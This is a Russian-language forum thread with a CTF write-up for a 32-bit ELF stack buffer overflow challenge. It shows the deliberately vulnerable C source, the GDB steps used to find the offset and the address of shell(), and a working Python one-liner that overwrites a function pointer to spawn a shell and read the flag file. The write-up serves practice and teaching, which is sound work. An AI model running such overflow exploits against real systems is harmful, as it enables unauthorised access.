HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Этичный хакинг или пентестинг > Задания/Квесты/CTF/Конкурсы
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 10.05.2019, 16:27
fuzzz
Новичок
Регистрация: 03.02.2019
Сообщений: 0
С нами: 3829524

Репутация: 0
По умолчанию

ELF x86 - Stack buffer overflow basic 2

Environment configuration :


PIEPosition Independent Executable

RelRORead Only relocations

NXNon-Executable Stack

Heap execNon-Executable Heap

ASLRAddress Space Layout Randomization

SFSource Fortification

SSPStack-Smashing Protection

SRCSource code access

Source code :

C:


Код:
/*
gcc -m32 -fno-stack-protector -o ch15 ch15.c
*/
#include 
#include 
void
shell
(
)
{
system
(
"/bin/dash"
)
;
}
void
sup
(
)
{
printf
(
"Hey dude ! Waaaaazzaaaaaaaa ?!\n"
)
;
}
main
(
)
{
int
var
;
void
(
*
func
)
(
)
=
sup
;
char
buf
[
128
]
;
fgets
(
buf
,
133
,
stdin
)
;
func
(
)
;
}
Решение

На этот раз есть харденинг защита в стеке и в куче. Она запрещается выполнять код в этих областях памяти. Но эта защита нам ни чем не мешает. Она просто есть, для того чтобы нельзя было пихнуть свой шеллкод так сказать. Решается это дело тоже очень просто. Суть задачи вызвать функцию shell которая предоставит нам командную оболочку, а затем мы сможем получить флаг.

Запускаем программу под GDB и скармливаем ей строчку сгенерированную с сайта.

Код:
gdb -q ./ch15
r
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag


Получаем адрес смещения 0x33654132

Заходим на сайт и вычисляем смещение



128 байт область смещения.

128+4 вся область которая перезаписывает регистр EIP.

Теперь узнаем адрес функции shell.

Код:
disas shell
q
y,enter.


Функция shell находится в памяти по адресу 0x08048464

Отлично теперь составим эксплойт

Код:
(python -c 'from struct import pack; print "A"*128 + pack("I", 0x08048464)';cat) | ./ch15
cat .passwd
Вот так вот можно взять второй флаг.
 
Ответить с цитированием

  #2  
Старый 20.09.2021, 00:00
NoXuS
Новичок
Регистрация: 15.01.2018
Сообщений: 0
С нами: 4382231

Репутация: 0
По умолчанию

а чем помогает cat в конце експлоита?
 
Ответить с цитированием

  #3  
Старый 20.09.2021, 00:23
Rook
Новичок
Регистрация: 09.01.2019
Сообщений: 0
С нами: 3865302

Репутация: 0
По умолчанию

Цитата:

NoXuS сказал(а):

а чем помогает cat в конце експлоита?

cat это команда для чтения файла
 
Ответить с цитированием

  #4  
Старый 20.09.2021, 00:26
NoXuS
Новичок
Регистрация: 15.01.2018
Сообщений: 0
С нами: 4382231

Репутация: 0
По умолчанию

я не про тот cat
(python -c 'from struct import pack; print "A"*128 + pack("I", 0x08048464)') | ./ch15
(python -c 'from struct import pack; print "A"*128 + pack("I", 0x08048464)';cat) | ./ch15
--------------------------------------------------------------------------------------+++---------
я про этот кат, не могу понять смысла его использования
 
Ответить с цитированием

  #5  
Старый 11.10.2021, 17:39
fuzzz
Новичок
Регистрация: 03.02.2019
Сообщений: 0
С нами: 3829524

Репутация: 0
По умолчанию

Цитата:

NoXuS сказал(а):

я не про тот cat
(python -c 'from struct import pack; print "A"*128 + pack("I", 0x08048464)') | ./ch15
(python -c 'from struct import pack; print "A"*128 + pack("I", 0x08048464)';cat) | ./ch15
--------------------------------------------------------------------------------------+++---------
я про этот кат, не могу понять смысла его использования

Это обычный cat про который сказали выше. Смысл в том, чтобы оболочка не закрылась.
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.